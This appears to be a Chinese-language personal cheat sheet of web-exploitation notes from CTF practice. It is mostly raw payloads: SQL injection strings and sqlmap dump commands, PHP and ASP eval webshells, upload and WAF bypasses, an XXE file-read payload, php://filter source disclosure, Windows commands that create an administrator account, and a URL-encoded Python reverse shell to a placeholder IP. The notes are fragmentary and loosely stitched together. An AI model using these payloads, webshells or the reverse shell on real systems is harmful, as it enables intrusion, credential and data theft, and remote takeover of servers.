wgf4242.github.io

点击 Load URL, √Post data, 修改对应的字段
点击 Execute

wscan，ctf-wscan dirsearch之类的

? num=1;var_dump(scandir(chr(47))) // scandir(/)
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) # flagg

"highlight_file","show_source","readfile","file_get_contents"
"exec","shell_exec","system","passthru","proc_open","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents", "unserialize"

windows下 type flag.php
Linux      cat flag.php

AddType application/x-httpd-php .php .phtml .phps .php5 .pht .jpg

- 1.万能注入
- 2.union注入
- 3.堆叠注入
- 读取数据 见0x10
- 绕过字符  /**/替换空格, 用<a>无意义填充过waf

    $a || $b and $c || $d
    //相当于
    ($a || $b) and ($c || $d)

    payload：?username=admin' or '1'='1&password=123' or '1'='1
    替换后:   name='admin' or '1'='1' and passwd='123' or '1'='1';

uname=1' or 1=1 #&passwd=any
uname=1' or '1=1'#&passwd=any
select * from user where uname = '222' and upass = '222' 
select * from user where uname = '222' and upass = '222' or 1=1
select * from user where uname = '222' and upass = '222' or '1=1#'
select * from user where uname = '222' and upass = '222' or '1'='1'

先输入1，再输入1'，页面报语法错误，再输入1 '页面出现SQLi detected!，推出空格被它过滤了
'/**/or/**/id=4/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

返回sqli
id=2343在数据库中是不存在的，所有返回NULL，因为前端页面只有ID，Data两处地方可以回显数据
这样union select查询的数据就可以回显了

select * from news where id=2343 union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli'
返回flag

select * from news where id=2343 union select group_concat(column_name),3 from information_schema.columns where table_name='flag'
返回字段flag

select * from news where id=2343 union select flag,3 from sqli.flag
返回目标值

1、database()：当前网站使用的数据库
2、version()：当前MySQL版本
3、user()：当前MySQL的用户

1、SCHEMATA：存储该用户创建的所有数据库的库名，记录库名的字段为SCHEMA_NAME。
2、TABLES：存储该用户创建的所有数据库的库名和表名，记录库名和表名的字段为TABLE_SCHEMA和TABLE_NAME。
3、COLUMNS：存储该用户创建的所有数据库的库名、表名和字段名，库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

# 是行注释
union操作符将两个SQL查询语句连接了起来，当设置id参数为-1时，由于没有id=-1的数据，因此会返回union后的查询语句的结果。

select * from line_tour where id=-1 union select database(),2;
    select database(),2 是两列，前面的结果也要是二两列能返回结果

select * from line_tour where id=-1 union select database(),2,3,4,5,6,7;

1' and 1=1#

1' order by 1#，1' order by 2#，返回结果相同，输入1' order by 3#返回结果不同，证明字段数为2。

payload: -1' union select database(),2#
select * from news where id='-1' union select database(),2#

-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'#
select * from news where id='-1' union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#
返回news,flag

-1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#
select * from news where id='-1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#'
返回字段flag

-1' union select flag,1 from sqli.flag#
select * from news where id='-1' union select flag,1 from sqli.flag#'
返回目标值

1#
select * from news where id=1#
查询正确 => 判断出为整形的报错注入

1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
                                                               // from information_schema.columns 可以是别的，但一定要有数据
select 1 Union select count(*),2 group by concat(database(),floor(rand(0)*2)); //简化版
看有几列填几个数
1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
select 1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
select 1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

select 1 Union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
select 1 Union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
多个表需要挨个试验

1 Union select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
返回flag

1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x #### 0x10读取文件

select load_file('E:\flag.txt')
select ascii(mid((select load_file('E:\flag.txt')),1,1));
select ascii(mid((select load_file('E:\flag.txt')),2,1)); -- 1,2,3逐位读取再转换成字符

create table abc(cmd text);
insert into abc(cmd) values (load_file('E:\flag.txt'));
select * from abc;

浏览器url栏输入 javascript:document.cookie或者在console栏中输入document.cookie即可获得cookie

sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" --current-db
# web1

sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 --tables

sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag --columns
# 遇到提示选y

sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag -C flag --dump

1.查数据库
    python sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 --batch --dbs
    python sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 --batch --current-db
2.查表名
    python sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 --batch -D sqli --tables
查字段
    python2 sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 --batch -D sqli -T flag --columns
4.查数据
    python sqlmap.py -u http://challenge-d20f8ccada64b868.sandbox.ctfhub.com:10080/?id=1 --batch -D sqli -T flag -C flag --dump

之后写入同样的命令加参数
-u URL
--batch 自动测试，不提示
--current-user
--current-db
--dump
--os-shell
-D tourdata --tables # 所有表
-D tourdata -T userb --columns # 表字段
sqlmap.py -r Filename.txt --dbs --level=3
sqlmap -u http://x.x/show.php?id=35 --level=3 -D test --tables -C thekey --dump

可以用burpsuite抓包并复制到txt文件（注意请用gedit编辑器，vim会因为格式问题报错）
sqlmap -r 1.txt
2.使用burpsuite log文件 （勾选上options中的Misc中的proxy）
sqlmap -l log.txt

1;show databases; 
1;show tables;  

1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期，没有过滤*直接注入*
*,1

'or 1=1#             //
1'order by 2#         //只有2字段。
1'union select 1,2#         //返回一个正则过滤 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
想到堆叠注入，试一下，
1';show tables;#            // 有我们要的字段

    array(1) {
      [0]=>
      string(16) "1919810931114514"
    }
0'; show columns from words ;#

admin                       //尝试admin提示密码错误，其他用户名均提示用户名错误
'or 1=1#                    //提示用户名错误，过滤了空格或or
'or/**/1=1#                 //提示密码错误，确定过滤了空格
'or/**/ascii(substr(database(),1,1))>1#     //提示密码错误，可以开始爆破了

使用username=admin’#&password=123456,页面返回密码错误，说明后台没有对#和’进行过滤。
使用username=admin’ or 1=1#&password=123456，页面返回用户名错误，上面后台对admin’ or 1=1#中的部分内容进行了过滤。过滤的内容有可能是or也有可能是空格。
使用username=user’//or//1=1#&password=123456，页面返回密码错误，说明输入的SQL语句能够被执行，这也表明后台仅仅是过滤了空格。
总结，username存在sql注入，同时仅仅只是过滤了空格，那么就是一个盲注了

整个PoC就是一个基于错误的盲注的步骤了，具体的方法可以参考文章。

查找表，username=user’//or//exists(select////from/*/admin)#&password=123456,页面返回密码错误，那么就说明在数据库中存在admin表
查找字段username=user’//or//exists(select//username,password//from/**/admin)#&password=123456，页面返回密码错误，说明在admin表中存在username和password字段。
username=user’//or//exists(select//count()//from/*/admin)#&password=123456，页面返回密码错误，说明在admin表中仅仅只存在一条记录，接下来就好办了
得到password长度，username=user’//or//(select//length(password)//from/**/admin)>10#&password=123456，通过二分试探法，最终发现password的字段长度是32位，说明可能采用的是md5的方式来进行加密的。
在确定了password的长度之后，接下来就是利用Python来进行爆破了。

username=user'/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456

# c4ca4238a0b923820dcc509a6f75849b 是 1 的md5 (password=1所以用1)
# username 随意写 ### 常用语句

union select 1,2,3          ---是列数
http://192.168.100.111/web/web15/?id=1 Order by 3  , 确定了是3列。
http://192.168.100.111/web/web15/?id=1 Order by 4  , 没有结果。

前面没结果时显示后面的结果。用-1 或者 and 1=2
http://192.168.100.111/web/web15/?id=-1 Union Select 1,2,3
http://192.168.100.111/web/web15/?id=-1 Union Select database(),2,3     --查询库名
http://192.168.100.111/web/web15/?id=-1 Union Select database(),user(),3     --查询用户名
http://192.168.100.111/web/web15/?id=-1 Union Select database(),user(),version()     --查询数据库版本
http://192.168.100.111/web/web15/?id=-1 Union Select database(),user(),version()     --查询数据库版本
INFORMATION_SCHEMA 数据库保存 库，表的信息。
  SCHEMATA 库名
  TABLES  有两列，一列所有库，二列所有库的所有表。
  COLUMNS 全部库的表的列

--有问题 http://192.168.100.111/web/web15/?id=-1 Union Select TABLE_NAME,2,3 where table_schema = database()     --查询数据库表名
--有问题 http://192.168.100.111/web/web15/?id=-1 UNION SELECT TABLE_NAME,2,3 FROM INFORMATION_SCHEMA WHERE TABLE_SCHEMA = DATABASE() 

password: 129581926211651571912466741651878684928

raw: ?T0D??o#??'or'8.N=?

$ mysql
> select @@plugin_dir; 得到插件的目录，将 udf.so 拷贝过去，然后再

$ mysql
> create function getflag returns string soname 'udf.so';
> select help_me();
> select getflag();

http://web.jarvisoj.com:32794/index.php?table=test` `union select 1 limit 1,1

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
# 得到所有表名 secret_flag,secret_test

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

http://web.jarvisoj.com:32794/index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1

1. F12， 提交请求后， 在F12-网络中 查看POST信息。找到版本。
2. 提交后仍然不对， 找源代码，比如 index.php.bak / robots.txt 或者用扫描器扫一下。
3. php中提示了使用的是Get方法提交的name=ver的值，直接发请求或者修改对应的源码 ### 题目4： 找到 admin page -- 熟悉robots.txt作用

1. 直接进 robots.txt --- 此文件记录相关的文件夹
2. 提示进入 login.php 得到 flag ### 题目5: 模拟本机登录 

http://192.168.100.111/web/web5/ 
1. BurpSuite配置代理 127.0.0.1:8080, Firefox使用Proxy插件设置好代理地址。使用BP抓包，Action发送到repeater
2. 在Repteater中的raw中修改，X-Forwarded-For:127.0.0.1，点击Go
3. 提示不是管理员，修改 isadmin=1，点击Go
3. Cookie: isadmin=1 ### 题目6: 暴破

http://192.168.100.111/web/web6/
1. 源码看到password.txt，. 拿到字典，随便发一下抓包，发现明文传输。
2 .暴破：发送到 Intuder
3. 选好字典，设置好线程，start attack
4. 得到密码后，登录，抓包，Set-Cookie: newpage=MjkwYmNhNzBjN2RhZTkzZGI2NjQ0ZmEwMGI5ZDgzYjkucGhw; ，base64解码，得到下一页面。
islogin常用值：guest, root, admin, black,  ### 题目8: 伪协议

http://192.168.100.111/web/web8/
看源码，需要上传文件为指定内容。
url: http://192.168.100.111/web/web8/?user=php://input
post: welcome to the Bili's world
hackbar需要有参数，使用bp抓包。
发到Repeater,然后删掉相关的参数key。只保留数据。（如果被转码了需要手动恢复。) ### 题目9: 伪协议

http://192.168.100.111/web/web9/
输入框中: php://filter/read=convert.base64-encode/resource=[文件路径]
输入框中: php://filter/read=convert.base64-encode/resource=index.php ### 题目10: 伪协议

http://192.168.100.111/web/web10/
看源码后，get提交user传入内容为文件的 welcome to the venus'world 。。
1. http://192.168.100.111/web/web10/?user=data:text/plain,welcome to the venus'world
2. http://lab1.xseclab.com/?^.^=data://text/plain;charset=unicode,%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29  # 放入hackkbar执行
查看源码 ,file 传入hint.php 使用filter查看内容
2. http://192.168.100.111/web/web10/?user=data:text/plain,welcome to the venus'world&file=php://filter/read=convert.base64-encode/resource=hint.php
3. 源码找到f1a9.php 读取文件 file=php://filter/read=convert.base64-encode/resource=f1a9.php 


使用php在Flag类创建对象
$a = new Flag()
$a -> file = 'fal9.php'
echo serialize($a);

放在php环境自己执行下？ ### 题目13: sql 注入

http://192.168.100.111/web/web13/
页面上有源码， 查看关键sql语句。 pw有做过滤。 user没有--从user下手。 用户名处直接注释掉 ### 题目15: sql 注入

绕过 and , or
http://192.168.100.111/web/web15/?id=1
源码用了 strip_tags，通过添加<>标签绕过。
方法1: http://192.168.100.111/web/web15/?id=1 a<>nd 1=1
方法2: http://192.168.100.111/web/web15/?id=1 AND 1=1 , 大小写未过滤 ### 题目： php相关

php中的弱类型比较：字符和数字比较时 字符当作0处理
5.x版本中 (int)3.1e10 会省略为3 ， 
7.x版本中是 3100000000

1. 有的能直接使用上次的验证码暴破
2. 有时验证码为空也可发送

验证码发布的流程
1. 显示表单
2. 显示验证码（调用生成验证码的程序），将验证码加密后放进 session 或者 cookie
3. 用户提交表单
4. 核对验证码无误、数据合法后写入数据库完成
用户如果再发布一条，正常情况下，会再次访问表单页面，验证码图片被动更新， session 和 cookie 也就跟着变了
但是灌水机操作不一定非要使用表单页面，它可以直接模拟 post 向服务端程序发送数据，这样验证码程序没有被调用，当然 session 和 cookie 存储的加密验证码就是上次的值，也就没有更新，这样以后无限次的通过post直接发送的数据，而不考虑验证码，验证码形同虚设！
所以，在核对验证码后先将 session 和 cookie 的值清空，然后做数据合法性判断，然后入库！这样，一个漏洞就被补上了！

[xdebug]
zend_extension="e:/Program files/php/ext/php_xdebug-2.9.6-7.4-vc15-x86_64.dll"
#一定要用绝对路径
xdebug.remote_enable = On
xdebug.remote_handler = dbgp
xdebug.remote_host= localhost
xdebug.remote_port = 9000
xdebug.idekey = PHPSTORM

7. 
#### =>,->的意思

->是对象执行方法或取得属性用的。

=>是数组里键和值对应用的。


*  => 的用法
数组中用copy于数组的 key 和 value之间的关系

        $a = array('0' => '1', '2' => '4', );
        echo $a['0'];
        echo $a['2'];

* -> 的用法

类中用于引用类实例的方法和属性

    class Test{
        function add(){return $this->var++;}
        var $var = 0;
    }
    $a = new Test; //实例化对象名称
    echo $a->add();
    echo $a->var;

### %00 截断问题

http://web.jarvisoj.com:32785/

?page=xxxx

?page=xxxx%00 就可以截断

首先是把php上传（改文件名、改Content-Type，改文件内容，图片马），然后是如何解析并执行php（web容器的解析漏洞、php文件包含）。

    <?php @eval($_POST['pwd']);?>
    <script language="php">@eval_r($_POST['pwd'])</script>
### 序列化 Serilaze

    <?php
        class Shield {...}

        $shield = new Shield('pctf.php');
        echo serialize($shield);
    ?>

### 各类绕过

#### __wakeup()
__wakeup()方法中$this->username = 'guest'会让username重新赋值。在反序列化字符串时，属性个数的值大于实际属性个数时，会跳过 __wakeup()函数的执行，我们可以将字符串中O:4:"Name"后面的2改为3及以上的整数

ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值，并在脚本结束时恢复。

<!DOCTYPE html>
<html>
<head>
    <title>test XXE</title>
    <meta charset="utf-8">
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--     
不对字符编码-->
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" value="go" />
    </form>
</body>
</html>

<?php
class OowoO
{
    public $mdzz='xxxxx';
}
$obj = new OowoO();
echo serialize($obj);
# O:5:"OowoO":1:{s:4:"mdzz";s:5:"xxxxx";}

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

GIF89a                  //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称，并包含该文件，就像使用require函数调用它一样。
auto_append_file=a.jpg  //解析后进行包含

GIF89a
<script language='php'> @eval($_POST['pass']);</script>

$first ="hello";
$hello ="world";
echo $first." ".$$first;
结果是 hello world
$$first就是$hello，因为$first的值是hello

var_dump($$args) , flag可能存在于 , 全局变量 $GLOBALS , ?args=GLBOALS

名称  描述
resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称，以管道符（）分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称，以管道符（）分隔。
<；两个链的筛选列表>任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链。

过滤器列表：http://php.net/manual/zh/filters.php

--- web2
页面1 http://xxx/?user='%23 -- 注释字符抓包，python生成字典。burp 暴破。
本题限制了4位字符 '%1%23 刚好4位

页面2 抓所看到 .viminfo 访问一下。
找一个unicode字符和英文字符一样的。代替一下目标字符就能过waf

页面3 
使用path=http://127.0.0.1/&filename=1.txt
  写文件到upload目录下, 访问这个1.txt
尝试 path=http://127.0.0.1/xxx.php?usern3me=<?php info();?>&filename=1.txt
  发现可以访问，但是需要编码。
尝试 path=http://127.0.0.1/xxx.php?usern3me=<?php system($_[REQUEST[0]);?>&filename=1.txt
改成PHP文件 path=http://127.0.0.1/xxx.php?usern3me=<?php system($_[REQUEST[0]);?>&filename=1.php
  用Hackbar上面的Encoding进行URL编码。空格要2次编码
  %20 改成 %2520
  %3D 是 =
直接用它来执行命令 path=http://127.0.0.1/1.php?0=ls ../ 找到flag文件
查看 path=http://127.0.0.1/1.php?0=cat ../flag_is_here.php 查看源代码
https://www.freebuf.com/vuls/116705.html

读取文件
php://filter/read=convert.base64-encode/resource=show.php
Burp Suite - Decoder 中可以解base64,

构造Cookie问题
?line=1&filename=show.php
用bp暴破， line=1字段 读取每一行 ，整合代码发现需要构造 Cookies: margin ,读取keys.php
添加header头 Cookie: margin=margin; 
    filename=xxx替换成filename=keys.php的base64编码，读取完成。

bool assert(mixed $assertion[,string $description])，
如果assertion是字符串，他会被assert()当做php代码执行。

?page='.system("cat templates/flag.php").'

http://pma.wechall.com
http://pma.wechall.net
https://pma.wechall.net

whoami
system
ipconfig
echo '<pre>';system("ipconfig");

<?xml version="1.0"?>
<!DOCTYPE ggmf[<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>

<tg>&xxe;</tg>

Target-scope include .* .* .*
Target-scope exclude .*firefox.*
Proxy-Option-Intercept Client Requests, 添加does not match [url]

方法1 “Proxy”选项卡--选择“Options”菜单--往下看到“Intercept Client Requests”节区
方法2 你可以使用“include in-scope items only(仅仅包括在范围内的项目)”以减少数据必须保存量。

几种模式对应不同的payload数量

结果过滤
    flag\{.*\}
    ctfhub\{.*\}

  结果中也可以过滤(在标签Result下面)，
  grep - match 添加过滤字段 login_error,比返回长度效果更好。
  runtime file 每行作为一个
  custom iterator , 可以生成像 username@@password  ，选posisiton 2 @@, position3 password,
  copy other payload , 两次payload值要一样时使用。

shell=system("find / -name 'flag*'");

shell=system("cat /var/www/html/flag.txt"); 4) 查看 Response 中的结果:

shell=system("find / -name 'flag*'");

shell=system("cat /var/www/html/flag.txt");

PHP:<?php @eval($_POST['pwd']);?>
PHP:<?php @eval(_POST['v5estOr']);?>
<script language="php">@eval_r($_POST['cmd'])</script>
ASP:<%eval request("v5estor")%>

PHP:v5estor=echo "password is v5estor";
ASP:v5estOr=response.write("password:v5estor")

抓包, 1. 改 content-type即可。 image/png
抓包, 2. 改 file-name 即可。 image/png

copy test.png/b+test.html/a a.png
test.html:  `<script>alert(1)</script>`

POST:1=echo '<pre>';system('ipconfig')
POST:1=echo '<pre>';system('net user hack 123456/add');
POST:1=echo '<pre>';system('net localgroup administrators hack /add'):

User Option - Misc - Logging, √Proxy Request ,选择一个文件位置保存。
打开文件搜索请求，确定请求存在。
sqlmap.py -r 文件目录
sqlmap.py -r C:\log\1.txt --batch
找到并查看 outout文件。在txt中找到注入链接, 比如，测试
sqlmap.py -u "http://192.168.1.102/inject.php?id=2" --dbs

    select%201,a,3%20from%20admin 显示 unkonwn column ，将请求必到Intruder,
      将 a 设置成变量， unkonwn column为过滤字段。
      payload - load, comman - column
      start attack,查看结果。
      确定了id , password, 列。
    -1 union all select%201,password,3%20from%20admin
    -1 union all select%201,password,3%20from%20admin limit 0, 1 发到 Intruder

id=1 union all select 1,2,3 from admin#
id=1 union all select 1,password,3 from admin#
id=1 union all select 1,concat(id, username, password),3 from admin#
id=1 union all select 1,concat(id,0x7c, username,0x7c, password),3 from admin#
 0x7c是管理符 | 

  limit%20$0$,1 这里将0改为字段了。limit参数为：偏移量，最大数目

  payload type: numbers,
    from 0, to 3, step 1,
  start attack

  payload 加载  php去重复.txt 字典
  payload 选项卡 中有 Payload Encoding √要去掉 （否则会编码/符号）
  start attack
  在结果列表， Filter 只勾2xx

python反弹shell

/no_one_know_the_manager?key=自己填key&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27